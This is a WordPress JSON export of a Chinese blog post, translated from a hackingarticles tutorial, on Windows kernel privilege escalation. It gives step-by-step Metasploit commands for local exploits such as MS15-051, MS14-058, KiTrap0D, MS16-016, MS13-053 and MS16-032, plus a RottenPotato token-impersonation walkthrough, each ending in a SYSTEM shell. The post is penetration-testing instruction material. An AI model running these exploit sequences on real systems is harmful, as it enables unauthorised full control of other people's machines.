﻿{"id":30,"date":"2020-05-26T10:49:40","date_gmt":"2020-05-26T02:49:40","guid":{"rendered":"https:\/\/byy3.com\/?p=30"},"modified":"2020-05-26T10:49:40","modified_gmt":"2020-05-26T02:49:40","slug":"windows%e5%86%85%e6%a0%b8%e6%8f%90%e6%9d%83","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=30","title":{"rendered":"windows\u5185\u6838\u63d0\u6743"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Windows\u5185\u6838\u63d0\u6743<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/xz.aliyun.com\/u\/9689\" rel=\"nofollow\" ><strong>SoftNight<\/strong><\/a>\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\u539f\u6587\uff1a<br><a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.hackingarticles.in\/windows-kernel-exploit-privilege-escalation\/\" target=\"_blank\" rel=\"noreferrer noopener\" rel=\"nofollow\" >http:\/\/www.hackingarticles.in\/windows-kernel-exploit-privilege-escalation\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5927\u5bb6\u597d\uff0c\u4e0a\u4e00\u7bc7\u6587\u7ae0\u4e2d\uff0c\u6211\u4eec\u8ba8\u8bba\u4e86\u4f7f\u7528\u81ea\u52a8\u5316\u811a\u672c\u8fdb\u884cWindows\u63d0\u6743\u7684\u5411\u91cf\u3002\u4eca\u5929\u6211\u4eec\u6765\u6f14\u793a\u901a\u8fc7\u5185\u6838\u5229\u7528\u6280\u5de7\u6765\u63d0\u6743\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u5c06\u4f7f\u7528metaspolit\u7684\u5185\u7f6e\u6a21\u5757Local Exploit Suggester\u3002\u8fd9\u4e2a\u6a21\u5757\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u8bc6\u522b\u7cfb\u7edf\u5b58\u5728\u54ea\u4e9b\u6f0f\u6d1e\u53ef\u4ee5\u88ab\u5229\u7528\uff0c\u5e76\u4e14\u4e3a\u6211\u4eec\u63d0\u4f9b\u6700\u5408\u9002\u7684exp\uff0c\u901a\u8fc7\u8fd9\u4e2aexp\u6211\u4eec\u53ef\u4ee5\u8fdb\u4e00\u6b65\u63d0\u6743\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u76ee\u5f55<br>Windows-Expolit-suggester<br>Windows ClientCopyImage Win32k Exploit<br>Windows TrackPopupMenu Win32k NULL Pointer Dereference<br>\u901a\u8fc7Kitrap0D\u8fdb\u884cWindows\u7cfb\u7edf\u63d0\u6743<br>Windows Escalate\u4efb\u52a1\u8ba1\u5212\u7a0b\u5e8fXML\u63d0\u6743<br>MS16-016mrxdav.sys WebDav\u672c\u5730\u63d0\u6743<br>EPATHOBJ::pprFlattenRec\u672c\u5730\u63d0\u6743<br>MS13-053 : NTUserMessageCall Win32k\u5185\u6838\u6c60\u6ea2\u51fa<br>MS16-032 Secondary Logon Handle\u63d0\u6743<br>RottenPotato\u63d0\u6743<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>windows-Exploit-suggester<\/strong><br>metasploit\u5185\u7f6e\u6a21\u5757\u63d0\u4f9b\u4e86\u5f88\u591a\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\u7684\u672c\u5730exp\uff0c\u5e76\u4e14\u6839\u636e\u67b6\u6784\uff0c\u5e73\u53f0(\u8fd0\u884c\u7684\u64cd\u4f5c\u7cfb\u7edf)\uff0c\u4f1a\u8bdd\u7c7b\u578b\u548c\u9ed8\u8ba4\u9009\u9879\u6765\u63a8\u8350\u6700\u5408\u9002\u7684exp\u3002\u8fd9\u5927\u5927\u8282\u7701\u4e86\u6211\u4eec\u7684\u65f6\u95f4\uff0c\u56e0\u4e3a\u6211\u4eec\u4e0d\u7528\u518d\u53bb\u624b\u52a8\u641c\u7d22\u672c\u5730exp\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6cd5\uff1a<br>\u6ce8\u610f\uff1a\u6211\u4eec\u9996\u5148\u8981\u83b7\u53d6\u76ee\u6807\u4e3b\u673a\u7684meterpreter\u4f1a\u8bdd\uff0c\u624d\u80fd\u4f7f\u7528\u8fd9\u4e2a\u6a21\u5757\u3002\u800c\u4e14\u5728\u4f7f\u7528\u8fd9\u4e2a\u6a21\u5757\u4e4b\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u628a\u5f53\u524d\u7684meterpreter\u4f1a\u8bdd\u653e\u5230\u540e\u53f0\u8fd0\u884c(CTRL+Z)<br>\u73b0\u5728\u6211\u4eec\u83b7\u53d6\u5230\u7684meterpreter\u4f1a\u8bdd\u662f1\uff0c\u6267\u884c\u4e0b\u5217\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use post\/multi\/recon\/local_exploit_suggester\nset LHOST <strong>192<\/strong>.168.1.107\nset SESSION <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009060616-60b87264-cb46-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><br>\u5982\u56fe\u6240\u793a\uff0c\u663e\u793a\u4e86\u76ee\u6807\u4e3b\u673a\u5b58\u5728\u7684\u6f0f\u6d1e\u548c\u53ef\u4ee5\u63d0\u6743\u7684\u540e\u6e17\u900f\u5229\u7528exp\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Windows ClientCopyImage Win32k Exploit<\/strong><br>Windows\u5185\u6838\u6a21\u5f0f\u9a71\u52a8\u7a0b\u5e8f\u4e2d\u7684\u6f0f\u6d1e\u8ba9\u653b\u51fb\u8005\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\u3002<br>\u8fd9\u4e2a\u6a21\u5757\u5229\u7528\u4e86win32k.sys\u5185\u6838\u6a21\u5f0f\u9a71\u52a8\u7a0b\u5e8f\u4e2d\u4e0d\u6b63\u786e\u7684\u5bf9\u8c61\u5904\u7406\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u6a21\u5757\u5df2\u7ecf\u5728win7\u00d764\u548c\u00d786\uff0cwin2008R2 SP1\u00d764\u4e0a\u8fdb\u884c\u8fc7\u6d4b\u8bd5\u3002<br>\u73b0\u5728\uff0c\u6211\u4eec\u6253\u5f00MSF\u63a7\u5236\u53f0\u5e76\u6267\u884c\u8fd9\u4e2aexp\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms15_051_client_copy_image\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u65e6\u8fd9\u4e2a\u9009\u4e2d\u7684exp\u5f97\u5230\u6267\u884c\uff0c\u6211\u4eec\u5c31\u5f97\u5230\u4e86\u53e6\u5916\u4e00\u4e2ameterpreter\u4f1a\u8bdd\uff0c\u7136\u540e\u6267\u884c\u547d\u4ee4\u67e5\u770b\u7cfb\u7edf\u4fe1\u606f\uff0c\u5982\u56fe\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009060733-8e55337e-cb46-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><br>\u5982\u4f60\u6240\u89c1\uff0c\u7cfb\u7edf\u5f53\u524d\u767b\u9646\u7684\u7528\u6237\u662fWindows\u7279\u6743\u7528\u6237 NT AUTHORITY\\SYSTEM<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Windows TrackPopupMenu Win32k NULL Pointer Dereference<\/strong><br>\u8be5\u6a21\u5757\u5229\u7528\u4e86win32k.sys\u4e2d\u7684NULL Pointer Dereference\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528TrackPopupMenu\u6765\u89e6\u53d1\u3002\u5728\u7279\u5b9a\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u5728xxxSendMessage Timeout\u4e0a\u6ee5\u7528NULL Pointer Dereference\u6765\u83b7\u53d6\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<br>\u8fd9\u4e2a\u6a21\u5757\u5df2\u7ecf\u5728Windows XP SP3\uff0cWindows Server 2003 SP2\uff0cWindows7 SP1\uff0cWindows Server2008 32\u4f4d\u548cWindows Server2008R2 SP164\u4f4d\u4e0a\u6d4b\u8bd5\u8fc7\u3002<br>\u73b0\u5728\u6253\u5f00MSF\u63a7\u5236\u53f0\uff0c\u6267\u884cexp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms14_058_track_popup_menu\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9009\u4e2d\u7684exp\u6267\u884c\u4e4b\u540e\uff0c\u4fbf\u4f1a\u83b7\u5f97\u53e6\u4e00\u4e2ameterpreter\u4f1a\u8bdd\uff0c\u7136\u540e\u8f93\u5165getsystem\u548cgetuid\u547d\u4ee4\u67e5\u770b\u7cfb\u7edf\u4fe1\u606f\uff0c\u5982\u56fe\u6240\u793a\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009060836-b46c4bba-cb46-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><br>\u63d0\u53d6\u6210\u529f\uff0c\u73b0\u5728\u662fWindows\u7279\u6743\u7528\u6237NT AUTHORITY\\SYSTEM\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u901a\u8fc7KiTrap0D\u8fdb\u884cWindows\u7cfb\u7edf\u63d0\u6743<\/strong><br>\u8fd9\u4e2a\u6a21\u5757\u4f1a\u901a\u8fc7Kitrap0D\u8fd9\u4e2aexp\u6765\u751f\u6210\u4e00\u4e2aSYSTEM\u6743\u9650\u7684\u65b0\u4f1a\u8bdd\uff0c\u5982\u679c\u5f53\u524d\u4f1a\u8bdd\u5df2\u7ecf\u662fSYSTEM\u6743\u9650\uff0c\u90a3\u4e48\u8fd9\u4e2a\u811a\u672c\u5c06\u4e0d\u8d77\u4f5c\u7528\u3002\u8fd9\u4e2a\u811a\u672c\u4f9d\u8d56\u4e8ekitrap0d.x86.dll\u8fd9\u4e2a\u6587\u4ef6\uff0c\u800c\u4e14\u4e0d\u652f\u630164\u4f4d\u7684Windows\u64cd\u4f5c\u7cfb\u7edf\u3002<br>\u8be5\u6a21\u5757\u5df2\u7ecf\u5728\u5b58\u5728\u6f0f\u6d1e\u7684Windows Server 2003\uff0cWindows Server 2008\uff0cWindows7\u548cXP\u4e0a\u6d4b\u8bd5\u8fc7\uff0c\u53ea\u965032\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u542fMSF\u63a7\u5236\u53f0\uff0c\u6267\u884cexp\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms10_015_kitrap0d\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c\u4e4b\u540e\u5f97\u5230\u4e00\u4e2a\u65b0\u7684meterpreter\u4f1a\u8bdd\uff0c\u6267\u884c\u547d\u4ee4\u67e5\u770b\u7cfb\u7edf\u4fe1\u606f\uff0c\u5982\u56fe\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009060929-d3c4f840-cb46-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">widows\u7279\u6743\u7528\u6237\uff0cNT AUTHORITY\\SYSTEM<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Windows Escalate Task Scheduler XML\u63d0\u6743<\/strong><br>\u8ba1\u5212\u4efb\u52a1\u4e2d\u7684\u8fd9\u4e2a\u6f0f\u6d1e\u80fd\u591f\u5bfc\u81f4\u63d0\u6743\u3002<br>\u5982\u679c\u653b\u51fb\u8005\u767b\u9646\u5230\u5b58\u5728\u6f0f\u6d1e\u7684\u7cfb\u7edf\u5e76\u4e14\u8fd0\u884c\u7cbe\u5fc3\u6784\u9020\u7684\u5e94\u7528\u7a0b\u5e8f\u7684\u8bdd\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u901a\u8fc7\u6b64\u6f0f\u6d1e\u6210\u529f\u8fdb\u884c\u63d0\u6743\u3002\u4e0d\u8fc7\uff0c\u653b\u51fb\u8005\u5fc5\u987b\u8981\u6709\u5408\u6cd5\u7684\u51ed\u8bc1\u5e76\u4e14\u5728\u672c\u5730\u8fdb\u884c\u767b\u9646\u624d\u80fd\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u8fdc\u7a0b\u7528\u6237\u548c\u533f\u540d\u7528\u6237\u65e0\u6cd5\u5229\u7528\u3002<br>\u8be5\u6a21\u5757\u5728\u5b58\u5728\u6f0f\u6d1e\u7684Windows Vista\uff0cWindows7\uff0cWindows Server2008x64\u548cx86\u4e0a\u6d4b\u8bd5\u8fc7\u53ef\u884c\u3002<br>\u5f00\u542fMSF\u63a7\u5236\u53f0\uff0c\u6267\u884c\u8fd9\u4e2aexp\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms10_092_schelevator\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u5f97\u4e00\u4e2a\u65b0\u7684meterpreter\u4f1a\u8bdd\uff0c\u800c\u4e14\u67e5\u770b\u547d\u4ee4\u53ef\u77e5\uff0c\u5df2\u7ecf\u662fWindows\u7279\u6743\u7528\u6237NT AUTHORITY\\SYSTEM\uff0c\u5982\u56fe\u6240\u793a\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061020-f1fd1a9a-cb46-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MS16-016mrxdav.sys WebDav\u672c\u5730\u63d0\u6743<\/strong><br>\u8fd9\u4e2aexp\u5229\u7528\u7684\u662fmrxdav.sys\u4e2d\u7684\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u7f16\u53f7\u662fMS16-016\u3002\u8be5\u6a21\u5757\u4f1a\u5728\u76ee\u6807\u4e3b\u673a\u4e0a\u751f\u6210\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u5e76\u901a\u8fc7\u5728\u7279\u6743\u8fdb\u7a0b\u7684\u73af\u5883\u4e0b\u6267\u884c\u6307\u5b9a\u7684payload\u6765\u63d0\u6743\u3002<br>\u8be5\u6a21\u5757\u5728\u5b58\u5728\u6f0f\u6d1e\u7684Windows7 SP1 x86\u67b6\u6784\u4e0a\u6d4b\u8bd5\u8fc7\u53ef\u884c\u3002<br>\u73b0\u5728\u6211\u4eec\u6765\u5b9e\u6218\uff0c\u6253\u5f00MSF\u63a7\u5236\u53f0\uff0c\u6267\u884cexp\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms16_016_webdav\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c\u540e\u5f97\u5230\u4e00\u4e2a\u65b0\u7684\u4f1a\u8bdd\uff0c\u5e76\u4e14\u662fWindows\u6700\u9ad8\u6743\u9650NT AUTHORITY\\SYSTEM\uff0c\u5982\u56fe\u6240\u793a\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061103-0ba77a30-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>EPATHOBJ::pprFlattenRec\u672c\u5730\u63d0\u6743<\/strong><br>\u8fd9\u4e2a\u6f0f\u6d1e\u662f\u7531\u4e8eEPATHOBJ::pprFlattenRec\u4f7f\u7528\u4e86\u672a\u521d\u59cb\u5316\u7684\u6570\u636e\u800c\u4ea7\u751f\u7684\uff0c\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u5bf9\u5185\u5b58\u4ea7\u751f\u7834\u574f\u3002<br>\u800c\u6211\u4eec\u7684\u8fd9\u4e2a\u811a\u672c\u5c31\u662f\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u6765\u63d0\u6743\u7684\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u6a21\u5757\u5df2\u7ecf\u5728Windows XP SP3\uff0cWindows2003SP1\u548cWindows7SP1\u4e0a\u6210\u529f\u6267\u884c\u3002<br>\u8fd8\u662f\u4e00\u6837\u7684\u5957\u8def\uff0c\u5f00\u542fMSF\uff0c\u6267\u884cexp\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ppr_flatten_rec\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ed3\u679c\u4e00\u6837\uff0c\u5c31\u4e0d\u7f57\u55e6\u4e86\uff0c\u76f4\u63a5\u4e0a\u56fe\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061140-21d9d60e-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MS13-053\uff1aNTUserMessageCall Win32k\u5185\u6838\u6c60\u6ea2\u51fa<\/strong><br>Win32k\u4e2d\u7684\u5185\u6838\u6c60\u6ea2\u51fa\u5bfc\u81f4\u672c\u5730\u63d0\u6743\u3002\u8fd9\u4e2a\u5185\u6838shellcode\u6e05\u7a7a\u4e86winlogon.exe\u8fdb\u7a0b(\u7cfb\u7edf\u8fdb\u7a0b)\u7684ACL\u3002\u8fd9\u5c31\u5bfc\u81f4\u4e86\u4efb\u4f55\u975e\u7279\u6743\u7684\u8fdb\u7a0b\u90fd\u53ef\u4ee5\u81ea\u7531\u8fc1\u79fb\u5230winlogon.exe\u8fdb\u7a0b\u4e2d\uff0c\u4ece\u800c\u5b9e\u73b0\u63d0\u6743\u3002\u57282013\u5e74\u7684pwn2own\u5927\u8d5b\u4e0a\uff0cMWR\u5b9e\u9a8c\u5ba4\u5c31\u5229\u7528\u6b64\u6f0f\u6d1e\u653b\u7834\u4e86chrome\u7684\u6c99\u7bb1\u673a\u5236\u3002\u4e0d\u8fc7\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5f53\u4f60\u63a8\u51fameterpreter\u4f1a\u8bdd\u65f6\uff0cwinlogon.exe\u8fdb\u7a0b\u53ef\u80fd\u4f1a\u5d29\u6e83\u3002<br>\u76ee\u524d\uff0c\u8be5\u6a21\u5757\u5df2\u7ecf\u5728Windows7 SP1x86\u4e0a\u6210\u529f\u8fd0\u884c\u3002<br>\u63a5\u4e0b\u6765\u8fd8\u662f\u8ddf\u4e0a\u9762\u4e00\u6837\uff0c\u6253\u5f00MSF\uff0c\u6267\u884cexp\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms13_053_ schlamperei\nset lhost <strong>192<\/strong>.168.1.107\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u53d6\u5230\u65b0\u7684\u4f1a\u8bdd\uff0c\u4e14\u5df2\u7ecf\u6210\u529f\u63d0\u6743\u5230Windows\u7279\u6743\u7528\u6237NT AUTHORITY\\SYSTEM\uff0c\u6709\u56fe\u6709\u771f\u76f8\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061214-3610bd54-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MS16-032 Secondary Logon Handle\u63d0\u6743<\/strong><br>\u8be5\u6a21\u5757\u5229\u7528\u7684\u662fWindows Secondary Logon\u670d\u52a1\u4e2d\u6807\u51c6\u53e5\u67c4\u6e05\u7406\u529f\u80fd\u7684\u7f3a\u5931\u3002\u5df2\u77e5\u8be5\u6f0f\u6d1e\u4f1a\u5f71\u54cdWindows7-10\uff0cWindows Server2008\u548c2012\uff0c32\u4f4d\u548c64\u4f4d\u90fd\u4f1a\u53d7\u5f71\u54cd\u3002<br>\u8fd9\u4e2a\u6a21\u5757\u53ea\u5bf9\u96c6\u6210\u4e86powershell2.0\u6216\u66f4\u9ad8\u7248\u672c\u7684Windows\u4e14\u5177\u6709\u591a\u4e2aCPU\u5185\u6838\u7684\u7cfb\u7edf\u6709\u6548\u3002<br>\u6b65\u9aa4\u540c\u4e0a\uff0c\u76f4\u63a5\u5728MSF\u4e2d\u4f7f\u7528\u4e0b\u5217\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use exploit\/windows\/local\/ms16_032_secondary_logon_handle_privesc\nset session <strong>1<\/strong>\nexploit\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u751f\u6210\u65b0\u7684meterpreter\u4f1a\u8bdd\uff0c\u6743\u9650\u662fNT AUTHORITY\\SYSTEM\uff0c\u5982\u56fe\u6240\u793a\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061254-4e156fb2-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>RottenPotato\u63d0\u6743<\/strong><br>RottenPotato\u672c\u5730\u63d0\u6743\uff0c\u4eceservice\u8d26\u6237\u63d0\u5347\u5230SYSTEM\u6743\u9650\u3002<br>\u5728\u8fd0\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\u540e\uff0c\u5feb\u901f\u6a21\u62dfTokens\uff08\u6216\u8005\u8fd0\u884clist_tokens -u\uff09\u975e\u5e38\u91cd\u8981\u3002\u6309\u7167\u6b65\u9aa4\u4e00\u6b65\u4e00\u6b65\u6267\u884c\u4e5f\u975e\u5e38\u91cd\u8981\u3002\u5728\u8fd0\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u65f6\u5019\uff0c\u8bf7\u786e\u4fdd\u4f7f\u7528\u201cincognito\u201d\u9009\u9879\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">meterpreter\u4f1a\u8bdd\u4e2d\u7684Incognito\u9009\u9879\u521a\u5f00\u59cb\u662f\u4e00\u4e2a\u72ec\u7acb\u7684\u5e94\u7528\u7a0b\u5e8f\uff0c\u8be5\u7a0b\u5e8f\u53ef\u4ee5\u8ba9\u4f60\u5728\u5165\u4fb5\u4e00\u4e2a\u7cfb\u7edf\u540e\u6a21\u62df\u7528\u6237\u4ee4\u724c\u3002\u4e0d\u8fc7\u6211\u4eec\u9996\u5148\u9700\u8981\u505a\u7684\u662f\u68c0\u67e5\u7cfb\u7edf\u4e2d\u662f\u5426\u5b58\u5728\u6709\u6548\u7684tokens\uff0c\u4f7f\u7528\u4e0b\u5217\u547d\u4ee4\u6765\u67e5\u770b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">load incognito\nlist_token -u\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u770b\u5230\u5f53\u524d\u6ca1\u6709\u53ef\u7528\u7684\u4ee4\u724c\uff0c\u5982\u56fe\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061434-89785e2a-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><br>\u73b0\u5728\uff0c\u6211\u4eec\u4eceGitHub\u4e0a\u4e0b\u8f7dRottenpotato\u811a\u672c\u6765\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">git clone https:\/\/github.com\/foxglovesec\/RottenPotato.git\ncd RottenPotato\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d\u4e0b\u6765\u540e\u662f\u4e00\u4e2arottenpotato.exe\u53ef\u6267\u884c\u6587\u4ef6\u3002<br>\u4e0a\u4f20\u8fd9\u4e2aexe\u6587\u4ef6\u5230\u76ee\u6807\u4e3b\u673a\u4e2d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">upload \/root\/Desktop\/RottenPotato\/rottenpotato.exe\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u56fe\uff1a<br><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061528-a9aa0284-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><br>\u73b0\u5728\u8f93\u5165\u4e0b\u5217\u547d\u4ee4\u6765\u6267\u884c\u8fd9\u4e2aexe\u6587\u4ef6\uff0c\u7136\u540e\u5728\u6a21\u62df\u7528\u6237\u4ee4\u724c\u4e0b\u6dfb\u52a0SYSTEMtoken\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">execute -Hc -f rottenpotato.exe\nimpersonate_token \"NT AUTHORITY\\\\SYSTEM\"\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/xzfile.aliyuncs.com\/media\/upload\/picture\/20181009061621-c94da334-cb47-1.png\" data-fancybox=\"gallery\" rel=\"nofollow\" ><\/a><br>\u5982\u56fe\u6240\u793a\uff0c\u73b0\u5728\u6211\u4eec\u5df2\u7ecf\u662fNT AUTHORITY\\SYSTEM\u6743\u9650\u4e86\uff0c\u63d0\u6743\u6210\u529f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Windows\u5185\u6838\u63d0\u6743SoftNight\u00a0 \u539f\u6587\uff1ahttp:\/\/www.hackingarticles.in\/ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-30","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/30","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/30\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}